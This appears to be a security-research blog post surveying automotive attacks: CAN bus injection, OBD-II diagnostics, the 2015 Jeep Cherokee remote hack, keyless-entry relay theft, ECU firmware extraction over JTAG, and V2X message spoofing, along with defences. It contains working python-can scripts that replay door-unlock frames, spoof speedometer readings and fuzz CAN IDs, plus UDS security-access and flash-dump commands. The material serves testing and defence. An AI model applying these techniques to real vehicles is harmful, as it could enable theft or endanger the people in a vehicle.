Back to Blog
Cloud IAM Security

Automotive Security: CAN Bus Injection and Keyless Entry Relays

OffSec Research Team
10 June 2026 • 09:00 AM16 min
Automotive Security: CAN Bus Injection and Keyless Entry Relays
TL;DR — Modern vehicles expose over 100 million lines of software code across dozens of networked ECUs communicating over unauthenticated CAN bus, creating an attack surface that spans physical OBD-II ports, Bluetooth infotainment systems, cellular TCUs, and wireless key fob protocols — as demonstrated by the 2015 Jeep Cherokee remote compromise that triggered a 1.4 million vehicle recall and reshaped the automotive cybersecurity industry.

Executive Summary

The modern automobile is a networked computer system on wheels. A premium vehicle contains over 100 Electronic Control Units (ECUs) — specialized microcontrollers managing everything from engine timing and anti-lock braking to seat position memory and infotainment. These ECUs communicate over in-vehicle networks that were designed in the 1980s with performance and reliability as primary objectives, and security as an afterthought that never arrived.

The Controller Area Network (CAN) bus, the dominant in-vehicle network protocol, operates as a broadcast medium with no authentication, no encryption, and no source verification. Every node on the CAN bus can send messages claiming to be any other node. An attacker who gains access to the CAN bus — through the OBD-II diagnostic port, a compromised infotainment system, or a malicious Bluetooth device — can send arbitrary commands to any ECU in the vehicle. This means controlling speedometers, disabling brakes, unlocking doors, and in some configurations, controlling steering.

Remote attack surfaces have expanded dramatically with connectivity. Cellular data connections (Telematics Control Units), Bluetooth infotainment pairing, Wi-Fi hotspot functionality, and USB media ports all represent potential paths from external attacker to internal CAN bus. The Jeep Cherokee hack in 2015 demonstrated the full attack chain: cellular network to infotainment system to CAN bus to physical vehicle control at highway speed.

Keyless entry systems face a separate class of attack: relay attacks that amplify the key fob signal to trick the vehicle into believing the key is nearby, enabling theft without ever touching the actual key. This attack is responsible for the majority of high-end vehicle theft in Europe and is performed with equipment available for under $100.

This post covers the complete automotive security landscape: CAN bus architecture and packet injection, OBD-II exploitation, remote attack surface enumeration, keyless entry relay attacks, ECU firmware extraction, and V2X security. This knowledge is essential for automotive security researchers, vehicle OEM security teams, and penetration testers engaged in connected vehicle assessments.


Automotive Network Architecture

The CAN Bus

CAN (Controller Area Network) was developed by Bosch in 1983 and standardized as ISO 11898. It uses a two-wire differential signal (CANH and CANL) and operates at speeds from 125 kbps to 1 Mbps. Key characteristics:

CAN Frame Format:

shell
┌──────────┬────────┬────────────┬─────┬──────────────┬─────┬──────┐│ SOF (1b) │ ID     │ Control    │ DLC │ Data         │ CRC │ ACK  ││          │ (11b)  │ (6b)       │(4b) │ (0-64 bytes) │(15b)│ (2b) ││          │        │            │     │              │     │      │└──────────┴────────┴────────────┴─────┴──────────────┴─────┴──────┘ ID (Arbitration ID): 11-bit identifier. Lower ID = Higher PriorityDLC: Data Length Code (0-8 bytes for Classical CAN, up to 64 for CAN FD)Data: The payload (e.g., engine RPM, brake pressure, door status)CRC: Cyclic Redundancy Check for error detection (not authentication) CRITICAL: No source address. No authentication. Any node can send any ID.

Network Topology

Modern vehicles use multiple CAN buses separated by gateway ECUs to create security zones:

diagram — rendering…
graph TD
    OBD[OBD-II Port] --> GW[Central Gateway ECU]
    BT[Bluetooth Module] --> IVI[Infotainment Head Unit]
    WiFi[Wi-Fi AP] --> IVI
    USB[USB Port] --> IVI
    IVI --> GW
    TCU[Telematics Control Unit - Cellular] --> GW
    
    GW --> PT[Powertrain CAN Bus 500kbps]
    GW --> CH[Chassis CAN Bus 500kbps]
    GW --> BD[Body CAN Bus 125kbps]
    GW --> IVI

    PT --> ECM[Engine Control Module]
    PT --> TCM[Transmission Control Module]
    
    CH --> ABS[ABS / ESC Module]
    CH --> EPS[Electric Power Steering]
    CH --> BCM2[Brake Control Module]
    
    BD --> BCM[Body Control Module]
    BD --> DOORS[Door Lock Actuators]
    BD --> LIGHTS[Lighting Control]
    BD --> IMMOB[Immobilizer ECU]

The gateway is supposed to filter and validate messages crossing between network domains. Gateway bypass — either through vulnerabilities in the gateway software itself, or through gaining access to a node on the target network directly — is a key objective in automotive penetration testing.


OBD-II Attack Vector

The OBD-II (On-Board Diagnostics) port is a mandatory standardized interface present in every vehicle sold in the US since 1996. It provides direct access to the vehicle's CAN buses for diagnostic purposes.

Physical OBD-II Access

python
# OBD-II CAN bus interaction using python-can# Requires: SocketCAN adapter (Peak PCAN-USB, Kvaser, or ELM327) #           pip install python-can import canimport timeimport struct # Initialize CAN interfacebus = can.Bus(interface='socketcan', channel='can0', bitrate=500000) # --- Step 1: Passive sniffing to understand the CAN traffic ---print("[*] Sniffing CAN traffic (30 seconds)...")seen_ids = {}start = time.time() while time.time() - start < 30:    msg = bus.recv(timeout=1.0)    if msg:        if msg.arbitration_id not in seen_ids:            seen_ids[msg.arbitration_id] = []        seen_ids[msg.arbitration_id].append(msg.data) print(f"[+] Captured {len(seen_ids)} unique CAN IDs")for can_id, data_list in sorted(seen_ids.items()):    print(f"    0x{can_id:03X}: {len(data_list)} messages, last: {data_list[-1].hex()}")  # --- Step 2: Identify speedometer CAN message ---# Known technique: record CAN traffic at different speeds, diff to find speed message# Common speed frame: ID 0x0C4 (Volkswagen/Audi), 0x3E9 (Honda), 0x1B4 (Ford)# Data byte interpretation varies by OEM def parse_speed(data):    """Generic speed parsing attempt (big-endian, byte 0-1, scale 0.01 km/h per bit)"""    raw = struct.unpack('>H', data[0:2])[0]    return raw * 0.01  # km/h # --- Step 3: Replay attack — send a captured message ---# Capture: door lock message when pressing lock buttondoor_lock_msg = can.Message(    arbitration_id=0x38C,    data=[0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00],    is_extended_id=False)bus.send(door_lock_msg)print("[+] Sent door lock replay message") # --- Step 4: Speedometer spoofing (research/safety-off vehicle only) ---def spoof_speedometer(target_speed_kmh: float):    """Send forged speed messages to instrument cluster"""    raw_value = int(target_speed_kmh * 100)    data = struct.pack('>H', raw_value) + b'\x00' * 6        for _ in range(100):  # Send repeatedly to override real messages        msg = can.Message(            arbitration_id=0x0C4,            data=data,            is_extended_id=False        )        try:            bus.send(msg)        except can.CanError:            pass        time.sleep(0.01) # --- Step 5: CAN bus fuzzing ---def fuzz_can_bus(target_id: int, iterations: int = 1000):    """Fuzz a specific CAN ID with random data"""    import os    for i in range(iterations):        data = os.urandom(8)        msg = can.Message(            arbitration_id=target_id,            data=data,            is_extended_id=False        )        try:            bus.send(msg)            time.sleep(0.001)        except can.CanError:            pass                if i % 100 == 0:            print(f"    Fuzz iteration {i}/{iterations} on ID 0x{target_id:03X}")

OBD-II Diagnostic Commands

bash
# Setup SocketCANsudo modprobe cansudo modprobe can_rawsudo modprobe vcansudo ip link add dev vcan0 type vcansudo ip link set up vcan0 # Or with real hardware (PEAK USB adapter)sudo ip link set can0 up type can bitrate 500000 # Dump all CAN trafficcandump can0 # Send a specific CAN framecansend can0 07DF#0201050000000000  # OBD-II mode 02, PID 05 (coolant temp) # Use PyOBD or similar for standard OBD-II queries# OBD-II request format: 07DF (functional address) + mode + PIDcansend can0 07DF#0201050000000000  # Mode 01, PID 05# Response expected on 07E8 (engine ECU) # UDS (Unified Diagnostic Services) - extended diagnostics# Start diagnostic session (mode 0x10, subfunction 0x03 = extended)cansend can0 07DF#031003000000000  # Security access - request seed (for ECU unlock)cansend can0 07DF#0227010000000000

Remote Attack Surfaces

The Jeep Cherokee Hack (2015) — Full Attack Chain

Charlie Miller and Chris Valasek's 2015 Jeep Cherokee hack remains the definitive demonstration of automotive remote exploitation. The attack chain:

Stage 1 — Cellular Entry: Fiat Chrysler's Uconnect system connected to Sprint's cellular network. The Uconnect head unit ran a QNX-based OS with a D-Bus interface. The team found the head unit's IP address through Sprint's network (all Uconnect vehicles were on the same /8 subnet, with sequential IPs), exploited a remote code execution vulnerability in the Uconnect service, and gained a root shell.

Stage 2 — V850 Chip Exploitation: The infotainment system was connected to a Renesas V850 chip that handled the CAN bus interface. The researchers discovered they could flash new firmware to this chip from the compromised head unit, because there was no authentication on the firmware update process from the head unit side.

Stage 3 — CAN Injection: With custom firmware on the V850, they could send arbitrary CAN messages to the vehicle's networks. From a laptop miles away over cellular:

  • Activated windshield wipers
  • Turned AC to maximum cold
  • Changed radio station
  • Cut engine transmission at highway speed
  • Disabled brakes at low speed

This triggered a 1.4 million vehicle recall — the first ever prompted by a cybersecurity vulnerability.

Bluetooth Infotainment Attacks

bash
# Bluetooth reconnaissancehciconfig hci0 uphcitool scanbluetoothctl scan on # After pairing or using known MAC:# Test AVRCP (Audio/Video Remote Control Profile) for injection# Many head units have AVRCP vulnerabilities in track metadata parsing # CVSSv3 critical: BlueBorne (CVE-2017-0781)# Affects Android, Linux, Windows Bluetooth stacks# RCE without pairing, just proximity# Used against Android Auto and Linux-based head units # SDP enumeration on vehicle head unitsdptool browse 00:11:22:33:44:55  # Target vehicle BT MAC # Check for exposed SPP (Serial Port Profile) — often used for diagnostics# SPP exposure can provide direct CAN bus access

Keyless Entry Relay Attack

How Key Fob Authentication Works

Modern keyless entry and passive entry/start (PKES) systems use a challenge-response protocol over ultra-low power radio:

  • Vehicle continuously broadcasts a "wake" signal at LF (Low Frequency, 125 kHz)
  • Key fob wakes up when it receives the LF signal within range (typically <1 meter)
  • Key fob responds over UHF (315 MHz / 433 MHz / 868 MHz depending on region) with the authentication code
  • Vehicle unlocks if the authentication is valid

The vulnerability: the relay attack simply extends the effective range of both the LF wake signal and the UHF response, making the vehicle think the key is within 1 meter when it may be 50+ meters away.

Relay Attack Hardware and Methodology

shell
ATTACK SETUP: [KEY FOB inside house]  ←→  [Relay Device A: LF amplifier, near key]                                         ↕ (radio link, 868 MHz)[Vehicle on driveway]   ←→  [Relay Device B: LF transmitter, near vehicle] Sequence:1. Attacker walks to vehicle and attempts to open door2. Vehicle broadcasts LF wake signal (Relay Device B picks up, retransmits to A)3. Relay Device A rebroadcasts LF wake to key fob inside house4. Key fob wakes, sends UHF response (Relay Device A receives)5. Relay Device A retransmits to Relay Device B  6. Relay Device B retransmits UHF response to vehicle7. Vehicle receives valid authentication, unlocks8. Attacker enters, inserts and starts engine (PKES start works same way) Cost of relay hardware: $50-$200 USD on various online marketplacesTime to execute: 30-60 secondsDetection: Nearly impossible in real time

KeeLoq Rolling Code Analysis

Some older keyless entry systems use KeeLoq — a proprietary block cipher developed by Microchip. Rolling codes change with each button press, so replaying captured codes shouldn't work. However:

  • Cryptanalytic attacks on KeeLoq using DPA (Differential Power Analysis) can recover the manufacturer key in as few as 65,000 power traces
  • With the manufacturer key, all codes from all vehicles of that model can be predicted
  • Hitag2 (used in many European vehicles) was broken academically; attacks require ~3.5 hours of passive eavesdropping to clone

Modern vehicles implement Passive Entry Passive Start (PEPS) with UWB (Ultra-Wideband) ranging to defeat relay attacks. UWB measures the round-trip time of radio signals with sub-centimeter precision, making it impossible to fake proximity over a relay (the speed of light means the time-of-flight will always be too long). BMW, Apple (iPhone-as-car-key), and several luxury OEMs have deployed UWB-based solutions.


ECU Firmware Extraction and Analysis

JTAG Debugging of Automotive ECUs

bash
# Automotive ECUs typically use ARM Cortex-M3/M4/R4/A8 or Renesas V850# JTAG/SWD pinouts follow ARM's standard 20-pin connector or custom headers # Using OpenOCD for JTAG accesscat > automotive-ecu.cfg << 'EOF'source [find interface/jlink.cfg]transport select jtagsource [find target/stm32f4x.cfg]  # or renesas-rx, or nxp-mpc57xxadapter speed 1000reset_config srst_onlyEOF openocd -f automotive-ecu.cfg # In OpenOCD telnet session (port 4444):telnet localhost 4444> halt> flash banks                    # Enumerate flash regions> flash read_bank 0 ecu_fw.bin 0 0x100000  # Read 1MB of flash> mdw 0x08000000 256             # Read memory as words # Extract firmware and analyze with Ghidra or IDA Pro# Automotive ECUs often use custom AUTOSAR-compliant operating systems# Look for: calibration data tables, security access seeds/keys, # diagnostic service handlers (UDS implementation) # Identify and patch security access algorithm# Many ECUs use a simple "seed XOR constant = key" security access# Others use AES-based security, but the key is often in flash

Reverse Engineering Proprietary CAN DBC Files

python
# DBC (Database CAN) files define CAN message structures# Reverse engineer by correlating physical actions with CAN traffic import canimport cantools # If you have a DBC file (legally obtained from vendor, leaked, or RE'd)db = cantools.database.load_file('vehicle.dbc') bus = can.Bus(interface='socketcan', channel='can0', bitrate=500000) while True:    msg = bus.recv(timeout=1.0)    if msg:        try:            decoded = db.decode_message(msg.arbitration_id, msg.data)            print(f"0x{msg.arbitration_id:03X}: {decoded}")        except KeyError:            # Unknown message — log for analysis            print(f"UNKNOWN 0x{msg.arbitration_id:03X}: {msg.data.hex()}")

V2X Security

Vehicle-to-Everything (V2X) communication enables vehicles to communicate with each other (V2V) and infrastructure (V2I) for collision avoidance, traffic management, and autonomous driving support.

V2X Protocol Stack

LayerTechnologyDetails
RadioDSRC (Dedicated Short-Range Communications)802.11p / 5.9 GHz band, 10 MHz channels
AccessWAVE (Wireless Access in Vehicular Environments)IEEE 1609.4 multichannel
NetworkWAVE Short Message Protocol (WSMP)Low latency, no connection setup
SecurityIEEE 1609.2Certificate-based, pseudonymous credentials
ApplicationsSAE J2735 / ETSI ITS-G5BSM (Basic Safety Message), CAM, DENM

V2X Attack Vectors

BSM Spoofing: Basic Safety Messages broadcast every 100ms include position, speed, heading, and acceleration. Without authentication verification in real-time, an attacker can broadcast false BSMs claiming a vehicle is in a location it isn't. This can trigger false collision warnings, manipulate adaptive cruise control in vehicles that trust V2X data, or create ghost traffic that clogs intersection management systems.

Sybil Attacks: An attacker broadcasts multiple fake identities simultaneously, appearing as many vehicles. In an intersection management system that controls signal timing based on V2X traffic density, Sybil attacks can manipulate traffic flow.

Revocation Attacks: IEEE 1609.2 uses Certificate Revocation Lists (CRLs). If the CRL distribution mechanism is disrupted (DoS attack), vehicles may continue trusting revoked certificates — for example, from a compromised vehicle that has been broadcasting malicious messages.

diagram — rendering…
sequenceDiagram
    participant SCMS as Security Credential Management System
    participant Vehicle1 as Legitimate Vehicle
    participant Attacker as Attacker SDR
    participant Vehicle2 as Victim Vehicle (ACC enabled)

    SCMS->>Vehicle1: Issue pseudonym certificates (valid 5 min each)
    Vehicle1->>Vehicle2: BSM: pos=(40.7128,-74.0060) speed=35mph heading=90°
    Vehicle2->>Vehicle2: Adaptive cruise control maintains safe following distance
    
    Attacker->>Vehicle2: Spoofed BSM: pos=(40.7128,-74.0059) speed=0mph (false stop)
    Vehicle2->>Vehicle2: ACC detects "vehicle stopped ahead" — brakes
    Note over Attacker,Vehicle2: Rear-end collision induced by false BSM

Attack Surface Comparison

Attack VectorCostRangePrerequisitesPersistence
OBD-II Direct$50 (ELM327)Physical accessVehicle in rangeTemporary / permanent (if device left)
Bluetooth$100-500<10mPairing or 0-daySession only
Wi-Fi hotspot$100<50mCredentials or 0-daySession only
Cellular (TCU)SignificantGlobalTCU IP + vulnerabilityPersistent with shell
Keyless relay$100-200~50-100m2 operators neededSingle theft event
V2X spoofing$500-2000 (SDR)~300mNoneDuration of broadcast
Supply chain (OTA)High (nation-state)GlobalSigning key accessPermanent

Defensive Measures

Modern automotive security controls include:

Secure Boot: Cryptographic verification of ECU firmware at startup. Prevents unsigned firmware from executing. Increasingly mandated by UNECE WP.29 regulations (effective 2022 in Europe and Japan).

Intrusion Detection Systems (IDS): CAN bus monitoring for anomalous traffic — unexpected message frequencies, out-of-range values, or messages from IDs that shouldn't be active. Companies like Upstream Security, Argus Cyber Security, and GuardKnox provide automotive IDS solutions.

Hardware Security Modules (HSM): Dedicated secure processors within ECUs that store cryptographic keys and perform authentication operations. Prevents key extraction even with JTAG access.

Gateway Hardening: Firewalling between network domains, message authentication codes (MACs) on safety-critical messages (AUTOSAR SecOC), and rate limiting of diagnostic services.


Conclusion

Automotive cybersecurity sits at the intersection of two historically separate engineering disciplines: automotive systems engineering and information security. Vehicles designed over 5-10 year cycles are now connected to the internet with attack surfaces that would be considered catastrophically insecure in enterprise IT. The CAN bus — designed before TCP/IP was common, before smartphones existed — was never intended to carry authenticated, adversarially-validated traffic.

The Jeep Cherokee hack demonstrated that the gap between "cybersecurity researcher finds vulnerability" and "physical harm to occupants of a vehicle" is not theoretical — it is a matter of exploit development time. UNECE WP.29 regulations are now mandating cybersecurity management systems for vehicle manufacturers, and ISO/SAE 21434 provides a framework for automotive cybersecurity engineering. These regulatory drivers are accelerating the industry's security posture, but the installed base of insecure vehicles will be on roads for another decade or more.

For automotive penetration testers, the methodology combines familiar techniques — network sniffing, fuzzing, binary analysis — with domain-specific knowledge of automotive protocols, ECU architectures, and physical vehicle systems. The ability to demonstrate physical impact from digital vulnerabilities makes automotive security research among the most consequential in offensive security.


MITRE ATT&CK Mapping

Technique IDTechnique NameAutomotive Context
T1204User ExecutionTargeting vehicle occupants through infotainment UI interactions
T1498Network Denial of ServiceCAN bus flooding to prevent ECU communication (safety system failure)
T1565.001Data Manipulation: Stored Data ManipulationModifying ECU calibration data via OBD-II reflashing
T1200Hardware AdditionsInstalling malicious OBD-II dongle for persistent CAN access
T1040Network SniffingPassive CAN bus traffic capture to reverse engineer message formats
T1557Adversary-in-the-MiddleRelay attack intercepting key fob authentication challenge-response
T1078Valid AccountsUDS security access bypass using reverse engineered seed-key algorithm
T1542Pre-OS BootECU bootloader attack for unauthorized firmware flashing
T1190Exploit Public-Facing ApplicationExploiting Bluetooth/Wi-Fi/cellular vulnerabilities in TCU or head unit
T1601Modify System ImageReflashing ECU firmware with modified code via OBD-II or JTAG